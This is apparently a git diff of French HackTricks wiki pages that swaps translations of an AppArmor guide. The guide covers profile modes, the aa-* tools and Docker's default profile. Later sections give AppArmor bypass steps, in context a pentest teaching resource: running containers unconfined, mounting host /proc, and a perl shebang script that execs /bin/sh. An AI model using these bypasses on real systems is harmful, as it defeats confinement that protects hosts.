||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares volants d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux dépôts github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,58 +1,44 @@
|
||||||
# AppArmor
|
# AppArmor
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le piratage AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le piratage GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenez HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
## Basic Information
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
AppArmor est un **amélioration du noyau conçue pour restreindre les ressources disponibles aux programmes via des profils par programme**, mettant en œuvre efficacement le Contrôle d'Accès Obligatoire (MAC) en liant les attributs de contrôle d'accès directement aux programmes plutôt qu'aux utilisateurs. Ce système fonctionne en **chargeant des profils dans le noyau**, généralement au démarrage, et ces profils dictent quelles ressources un programme peut accéder, telles que les connexions réseau, l'accès aux sockets bruts et les permissions de fichiers.
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **logiciels malveillants voleurs**.
|
|
||||||
|
|
||||||
Le but principal de WhiteIntel est de lutter contre les prises de contrôle de compte et les attaques de ransomware résultant de logiciels malveillants voleurs d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site Web et essayer leur moteur **gratuitement** sur :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Informations de base
|
|
||||||
|
|
||||||
AppArmor est une **amélioration du noyau conçue pour restreindre les ressources disponibles aux programmes grâce à des profils par programme**, mettant en œuvre efficacement un contrôle d'accès obligatoire (MAC) en liant directement les attributs de contrôle d'accès aux programmes plutôt qu'aux utilisateurs. Ce système fonctionne en **chargeant des profils dans le noyau**, généralement au démarrage, et ces profils dictent les ressources auxquelles un programme peut accéder, telles que les connexions réseau, l'accès aux sockets bruts et les autorisations de fichier.
|
|
||||||
|
|
||||||
Il existe deux modes opérationnels pour les profils AppArmor :
|
Il existe deux modes opérationnels pour les profils AppArmor :
|
||||||
|
|
||||||
* **Mode d'application des règles** : Ce mode applique activement les politiques définies dans le profil, bloquant les actions qui violent ces politiques et journalisant toute tentative de les violer à travers des systèmes comme syslog ou auditd.
|
* **Mode d'Application** : Ce mode applique activement les politiques définies dans le profil, bloquant les actions qui violent ces politiques et enregistrant toute tentative de violation via des systèmes comme syslog ou auditd.
|
||||||
* **Mode de plainte** : Contrairement au mode d'application des règles, le mode de plainte ne bloque pas les actions contraires aux politiques du profil. Au lieu de cela, il journalise ces tentatives en tant que violations de politiques sans imposer de restrictions.
|
* **Mode de Plainte** : Contrairement au mode d'application, le mode de plainte ne bloque pas les actions qui vont à l'encontre des politiques du profil. Au lieu de cela, il enregistre ces tentatives comme des violations de politique sans appliquer de restrictions.
|
||||||
|
|
||||||
### Composants d'AppArmor
|
### Components of AppArmor
|
||||||
|
|
||||||
* **Module noyau** : Responsable de l'application des politiques.
|
* **Module du Noyau** : Responsable de l'application des politiques.
|
||||||
* **Politiques** : Spécifient les règles et restrictions pour le comportement des programmes et l'accès aux ressources.
|
* **Politiques** : Spécifient les règles et restrictions pour le comportement des programmes et l'accès aux ressources.
|
||||||
* **Analyseur** : Charge les politiques dans le noyau pour l'application ou le signalement.
|
* **Analyseur** : Charge les politiques dans le noyau pour application ou rapport.
|
||||||
* **Utilitaires** : Ce sont des programmes en mode utilisateur qui fournissent une interface pour interagir avec et gérer AppArmor.
|
* **Utilitaires** : Ce sont des programmes en mode utilisateur qui fournissent une interface pour interagir avec et gérer AppArmor.
|
||||||
|
|
||||||
### Chemin des profils
|
### Profiles path
|
||||||
|
|
||||||
Les profils AppArmor sont généralement enregistrés dans _**/etc/apparmor.d/**_\
|
Les profils AppArmor sont généralement enregistrés dans _**/etc/apparmor.d/**_\
|
||||||
Avec `sudo aa-status`, vous pourrez lister les binaires restreints par un profil. Si vous remplacez le caractère "/" par un point du chemin de chaque binaire répertorié, vous obtiendrez le nom du profil AppArmor à l'intérieur du dossier mentionné.
|
Avec `sudo aa-status`, vous pourrez lister les binaires qui sont restreints par un certain profil. Si vous pouvez changer le caractère "/" par un point dans le chemin de chaque binaire listé, vous obtiendrez le nom du profil AppArmor dans le dossier mentionné.
|
||||||
|
|
||||||
Par exemple, un profil **AppArmor** pour _/usr/bin/man_ sera situé dans _/etc/apparmor.d/usr.bin.man_
|
Par exemple, un **profil apparmor** pour _/usr/bin/man_ sera situé dans _/etc/apparmor.d/usr.bin.man_
|
||||||
|
|
||||||
### Commandes
|
### Commands
|
||||||
```bash
|
```bash
|
||||||
aa-status #check the current status
|
aa-status #check the current status
|
||||||
aa-enforce #set profile to enforce mode (from disable or complain)
|
aa-enforce #set profile to enforce mode (from disable or complain)
|
||||||
|
@ -64,23 +50,23 @@ aa-mergeprof #used to merge the policies
|
||||||
```
|
```
|
||||||
## Création d'un profil
|
## Création d'un profil
|
||||||
|
|
||||||
* Afin d'indiquer l'exécutable affecté, les **chemins absolus et les jokers** sont autorisés (pour le globbing de fichiers) pour spécifier les fichiers.
|
* Afin d'indiquer l'exécutable concerné, **les chemins absolus et les jokers** sont autorisés (pour le globbing de fichiers) pour spécifier des fichiers.
|
||||||
* Pour indiquer l'accès que le binaire aura aux **fichiers**, les **contrôles d'accès** suivants peuvent être utilisés :
|
* Pour indiquer l'accès que le binaire aura sur **les fichiers**, les **contrôles d'accès** suivants peuvent être utilisés :
|
||||||
* **r** (lecture)
|
* **r** (lecture)
|
||||||
* **w** (écriture)
|
* **w** (écriture)
|
||||||
* **m** (mapping en mémoire comme exécutable)
|
* **m** (carte mémoire comme exécutable)
|
||||||
* **k** (verrouillage de fichiers)
|
* **k** (verrouillage de fichier)
|
||||||
* **l** (création de liens physiques)
|
* **l** (création de liens durs)
|
||||||
* **ix** (pour exécuter un autre programme avec le nouveau programme héritant de la politique)
|
* **ix** (pour exécuter un autre programme avec le nouveau programme héritant de la politique)
|
||||||
* **Px** (exécuter sous un autre profil, après avoir nettoyé l'environnement)
|
* **Px** (exécuter sous un autre profil, après nettoyage de l'environnement)
|
||||||
* **Cx** (exécuter sous un profil enfant, après avoir nettoyé l'environnement)
|
* **Cx** (exécuter sous un profil enfant, après nettoyage de l'environnement)
|
||||||
* **Ux** (exécuter sans confinement, après avoir nettoyé l'environnement)
|
* **Ux** (exécuter sans confinement, après nettoyage de l'environnement)
|
||||||
* **Des variables** peuvent être définies dans les profils et peuvent être manipulées depuis l'extérieur du profil. Par exemple : @{PROC} et @{HOME} (ajoutez #include \<tunables/global> au fichier de profil)
|
* **Des variables** peuvent être définies dans les profils et peuvent être manipulées depuis l'extérieur du profil. Par exemple : @{PROC} et @{HOME} (ajoutez #include \<tunables/global> au fichier de profil)
|
||||||
* **Les règles de refus sont prises en charge pour remplacer les règles d'autorisation**.
|
* **Les règles de refus sont prises en charge pour remplacer les règles d'autorisation**.
|
||||||
|
|
||||||
### aa-genprof
|
### aa-genprof
|
||||||
|
|
||||||
Pour commencer facilement à créer un profil, apparmor peut vous aider. Il est possible de faire **inspecter par apparmor les actions effectuées par un binaire, puis de vous laisser décider quelles actions vous souhaitez autoriser ou refuser**.\
|
Pour commencer facilement à créer un profil, apparmor peut vous aider. Il est possible de faire en sorte que **apparmor inspecte les actions effectuées par un binaire et vous laisse ensuite décider quelles actions vous souhaitez autoriser ou refuser**.\
|
||||||
Il vous suffit d'exécuter :
|
Il vous suffit d'exécuter :
|
||||||
```bash
|
```bash
|
||||||
sudo aa-genprof /path/to/binary
|
sudo aa-genprof /path/to/binary
|
||||||
|
@ -89,10 +75,10 @@ Ensuite, dans une console différente, effectuez toutes les actions que le binai
|
||||||
```bash
|
```bash
|
||||||
/path/to/binary -a dosomething
|
/path/to/binary -a dosomething
|
||||||
```
|
```
|
||||||
Ensuite, dans la première console, appuyez sur "**s**" puis dans les actions enregistrées indiquez si vous voulez ignorer, autoriser, ou autre. Lorsque vous avez terminé, appuyez sur "**f**" et le nouveau profil sera créé dans _/etc/apparmor.d/path.to.binary_
|
Ensuite, dans la première console, appuyez sur "**s**" puis dans les actions enregistrées, indiquez si vous souhaitez ignorer, autoriser ou autre. Lorsque vous avez terminé, appuyez sur "**f**" et le nouveau profil sera créé dans _/etc/apparmor.d/path.to.binary_
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
En utilisant les touches fléchées, vous pouvez sélectionner ce que vous voulez autoriser/refuser/autre
|
En utilisant les touches fléchées, vous pouvez sélectionner ce que vous souhaitez autoriser/refuser/autre
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### aa-easyprof
|
### aa-easyprof
|
||||||
|
@ -123,7 +109,7 @@ sudo aa-easyprof /path/to/binary
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Notez que par défaut, dans un profil créé, rien n'est autorisé, donc tout est refusé. Vous devrez ajouter des lignes comme `/etc/passwd r,` pour autoriser la lecture du binaire `/etc/passwd`, par exemple.
|
Notez qu'en défaut, dans un profil créé, rien n'est autorisé, donc tout est refusé. Vous devrez ajouter des lignes comme `/etc/passwd r,` pour autoriser la lecture binaire de `/etc/passwd`, par exemple.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Vous pouvez ensuite **appliquer** le nouveau profil avec
|
Vous pouvez ensuite **appliquer** le nouveau profil avec
|
||||||
|
@ -137,10 +123,10 @@ L'outil suivant lira les journaux et demandera à l'utilisateur s'il souhaite au
|
||||||
sudo aa-logprof
|
sudo aa-logprof
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
En utilisant les touches fléchées, vous pouvez sélectionner ce que vous voulez autoriser/refuser/autre
|
En utilisant les touches fléchées, vous pouvez sélectionner ce que vous souhaitez autoriser/refuser/quoi que ce soit
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Gestion d'un profil
|
### Gestion d'un Profil
|
||||||
```bash
|
```bash
|
||||||
#Main profile management commands
|
#Main profile management commands
|
||||||
apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode
|
apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode
|
||||||
|
@ -148,7 +134,7 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain
|
||||||
apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile
|
apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile
|
||||||
apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
|
apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
|
||||||
```
|
```
|
||||||
## Journaux
|
## Logs
|
||||||
|
|
||||||
Exemple de journaux **AUDIT** et **DENIED** provenant de _/var/log/audit/audit.log_ de l'exécutable **`service_bin`** :
|
Exemple de journaux **AUDIT** et **DENIED** provenant de _/var/log/audit/audit.log_ de l'exécutable **`service_bin`** :
|
||||||
```bash
|
```bash
|
||||||
|
@ -191,23 +177,23 @@ apparmor module is loaded.
|
||||||
/usr/lib/connman/scripts/dhclient-script
|
/usr/lib/connman/scripts/dhclient-script
|
||||||
docker-default
|
docker-default
|
||||||
```
|
```
|
||||||
Par défaut, le profil **Apparmor docker-default** est généré à partir de [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
Par défaut, le **profil docker-default d'Apparmor** est généré à partir de [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||||
|
|
||||||
**Résumé du profil docker-default** :
|
**Résumé du profil docker-default** :
|
||||||
|
|
||||||
* **Accès** à tout le **réseau**
|
* **Accès** à tout le **réseau**
|
||||||
* Aucune **capacité** n'est définie (Cependant, certaines capacités proviendront de l'inclusion de règles de base de base, c'est-à-dire #include \<abstractions/base>)
|
* **Aucune capacité** n'est définie (Cependant, certaines capacités proviendront de l'inclusion de règles de base, c'est-à-dire #include \<abstractions/base>)
|
||||||
* **Écriture** dans n'importe quel fichier **/proc** n'est **pas autorisée**
|
* **Écriture** dans n'importe quel fichier **/proc** n'est **pas autorisée**
|
||||||
* Les autres **sous-répertoires**/**fichiers** de /**proc** et /**sys** se voient **refuser** l'accès en lecture/écriture/blocage/liens/exécution
|
* D'autres **sous-répertoires**/**fichiers** de /**proc** et /**sys** se voient **refuser** l'accès en lecture/écriture/verrouillage/lien/exécution
|
||||||
* Le **montage** n'est **pas autorisé**
|
* **Montage** n'est **pas autorisé**
|
||||||
* **Ptrace** ne peut être exécuté que sur un processus confiné par le **même profil Apparmor**
|
* **Ptrace** ne peut être exécuté que sur un processus qui est confiné par le **même profil apparmor**
|
||||||
|
|
||||||
Une fois que vous **exécutez un conteneur docker**, vous devriez voir la sortie suivante :
|
Une fois que vous **exécutez un conteneur docker**, vous devriez voir la sortie suivante :
|
||||||
```bash
|
```bash
|
||||||
1 processes are in enforce mode.
|
1 processes are in enforce mode.
|
||||||
docker-default (825)
|
docker-default (825)
|
||||||
```
|
```
|
||||||
Notez que **apparmor bloquera même les privilèges de capacités** accordés au conteneur par défaut. Par exemple, il pourra **bloquer l'autorisation d'écrire à l'intérieur de /proc même si la capacité SYS\_ADMIN est accordée** car par défaut, le profil apparmor de docker refuse cet accès:
|
Notez que **apparmor bloquera même les privilèges de capacités** accordés au conteneur par défaut. Par exemple, il sera capable de **bloquer la permission d'écrire dans /proc même si la capacité SYS\_ADMIN est accordée** car par défaut, le profil apparmor de docker refuse cet accès :
|
||||||
```bash
|
```bash
|
||||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
|
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
|
||||||
echo "" > /proc/stat
|
echo "" > /proc/stat
|
||||||
|
@ -217,23 +203,23 @@ Vous devez **désactiver apparmor** pour contourner ses restrictions :
|
||||||
```bash
|
```bash
|
||||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
|
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
|
||||||
```
|
```
|
||||||
Notez que par défaut **AppArmor** interdit également au conteneur de monter des dossiers de l'intérieur même avec la capacité SYS\_ADMIN.
|
Notez qu'en mode par défaut, **AppArmor** **interdira également au conteneur de monter** des dossiers de l'intérieur même avec la capacité SYS\_ADMIN.
|
||||||
|
|
||||||
Notez que vous pouvez **ajouter/supprimer** des **capacités** au conteneur Docker (cela restera tout de même restreint par des méthodes de protection comme **AppArmor** et **Seccomp**):
|
Notez que vous pouvez **ajouter/enlever** des **capacités** au conteneur docker (cela sera toujours restreint par des méthodes de protection comme **AppArmor** et **Seccomp**):
|
||||||
|
|
||||||
* `--cap-add=SYS_ADMIN` donne la capacité `SYS_ADMIN`
|
* `--cap-add=SYS_ADMIN` donne la capacité `SYS_ADMIN`
|
||||||
* `--cap-add=ALL` donne toutes les capacités
|
* `--cap-add=ALL` donne toutes les capacités
|
||||||
* `--cap-drop=ALL --cap-add=SYS_PTRACE` supprime toutes les capacités et donne uniquement `SYS_PTRACE`
|
* `--cap-drop=ALL --cap-add=SYS_PTRACE` supprime toutes les capacités et donne uniquement `SYS_PTRACE`
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Généralement, lorsque vous **constatez** que vous avez une **capacité privilégiée** disponible **à l'intérieur** d'un **conteneur Docker** mais qu'une partie de l'**exploit ne fonctionne pas**, c'est probablement parce que **AppArmor de Docker l'empêche**.
|
En général, lorsque vous **découvrez** que vous avez une **capacité privilégiée** disponible **à l'intérieur** d'un conteneur **docker** **mais** qu'une partie de l'**exploit ne fonctionne pas**, cela sera dû au fait que **apparmor de docker empêchera cela**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Exemple
|
### Exemple
|
||||||
|
|
||||||
(Exemple provenant de [**ici**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/))
|
(Exemple de [**ici**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/))
|
||||||
|
|
||||||
Pour illustrer la fonctionnalité d'AppArmor, j'ai créé un nouveau profil Docker "mydocker" avec la ligne suivante ajoutée :
|
Pour illustrer la fonctionnalité d'AppArmor, j'ai créé un nouveau profil Docker “mydocker” avec la ligne suivante ajoutée:
|
||||||
```
|
```
|
||||||
deny /etc/* w, # deny write for all files directly in /etc (not in a subdir)
|
deny /etc/* w, # deny write for all files directly in /etc (not in a subdir)
|
||||||
```
|
```
|
||||||
|
@ -246,30 +232,32 @@ Pour lister les profils, nous pouvons exécuter la commande suivante. La command
|
||||||
$ sudo apparmor_status | grep mydocker
|
$ sudo apparmor_status | grep mydocker
|
||||||
mydocker
|
mydocker
|
||||||
```
|
```
|
||||||
Comme indiqué ci-dessous, une erreur se produit lors de la tentative de modification de "/etc/" car le profil AppArmor empêche l'accès en écriture à "/etc".
|
Comme montré ci-dessous, nous obtenons une erreur lorsque nous essayons de changer “/etc/” puisque le profil AppArmor empêche l'accès en écriture à “/etc”.
|
||||||
```
|
```
|
||||||
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
|
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
|
||||||
chmod: /etc/hostname: Permission denied
|
chmod: /etc/hostname: Permission denied
|
||||||
```
|
```
|
||||||
### Contournement d'AppArmor Docker1
|
### AppArmor Docker Bypass1
|
||||||
|
|
||||||
Vous pouvez trouver quel **profil apparmor exécute un conteneur** en utilisant :
|
Vous pouvez trouver quel **profil apparmor est en cours d'exécution dans un conteneur** en utilisant :
|
||||||
```bash
|
```bash
|
||||||
docker inspect 9d622d73a614 | grep lowpriv
|
docker inspect 9d622d73a614 | grep lowpriv
|
||||||
"AppArmorProfile": "lowpriv",
|
"AppArmorProfile": "lowpriv",
|
||||||
"apparmor=lowpriv"
|
"apparmor=lowpriv"
|
||||||
```
|
```
|
||||||
Ensuite, vous pouvez exécuter la ligne suivante pour **trouver le profil exact utilisé** :
|
Alors, vous pouvez exécuter la ligne suivante pour **trouver le profil exact utilisé** :
|
||||||
```bash
|
```bash
|
||||||
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
|
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
|
||||||
```
|
```
|
||||||
### Contournement d'AppArmor Docker
|
Dans le cas étrange où vous pouvez **modifier le profil docker apparmor et le recharger.** Vous pourriez supprimer les restrictions et les "contourner".
|
||||||
|
|
||||||
**AppArmor est basé sur les chemins**, cela signifie que même s'il pourrait **protéger** les fichiers à l'intérieur d'un répertoire comme **`/proc`**, si vous pouvez **configurer comment le conteneur va être exécuté**, vous pourriez **monter** le répertoire proc de l'hôte à l'intérieur de **`/host/proc`** et il **ne sera plus protégé par AppArmor**.
|
### Contournement AppArmor Docker2
|
||||||
|
|
||||||
### Contournement de Shebang AppArmor
|
**AppArmor est basé sur le chemin**, cela signifie que même s'il peut **protéger** des fichiers à l'intérieur d'un répertoire comme **`/proc`**, si vous pouvez **configurer comment le conteneur va être exécuté**, vous pourriez **monter** le répertoire proc de l'hôte à l'intérieur de **`/host/proc`** et il **ne sera plus protégé par AppArmor**.
|
||||||
|
|
||||||
Dans [**ce bug**](https://bugs.launchpad.net/apparmor/+bug/1911431), vous pouvez voir un exemple de comment **même si vous empêchez perl d'être exécuté avec certaines ressources**, si vous créez simplement un script shell **spécifiant** dans la première ligne **`#!/usr/bin/perl`** et que vous **exécutez le fichier directement**, vous pourrez exécuter ce que vous voulez. Par exemple:
|
### Contournement Shebang AppArmor
|
||||||
|
|
||||||
|
Dans [**ce bug**](https://bugs.launchpad.net/apparmor/+bug/1911431), vous pouvez voir un exemple de la façon dont **même si vous empêchez perl d'être exécuté avec certaines ressources**, si vous créez simplement un script shell **spécifiant** dans la première ligne **`#!/usr/bin/perl`** et que vous **exécutez le fichier directement**, vous pourrez exécuter ce que vous voulez. Par exemple :
|
||||||
```perl
|
```perl
|
||||||
echo '#!/usr/bin/perl
|
echo '#!/usr/bin/perl
|
||||||
use POSIX qw(strftime);
|
use POSIX qw(strftime);
|
||||||
|
@ -279,29 +267,17 @@ exec "/bin/sh"' > /tmp/test.pl
|
||||||
chmod +x /tmp/test.pl
|
chmod +x /tmp/test.pl
|
||||||
/tmp/test.pl
|
/tmp/test.pl
|
||||||
```
|
```
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal est de lutter contre les prises de contrôle de compte et les attaques de ransomware résultant de malwares volant des informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site Web et essayer leur moteur **gratuitement** sur :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le piratage AWS : <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le piratage GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenez HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,37 +1,24 @@
|
||||||
# Évasion des cgroups Docker release\_agent
|
# Docker release\_agent cgroups escape
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le piratage AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
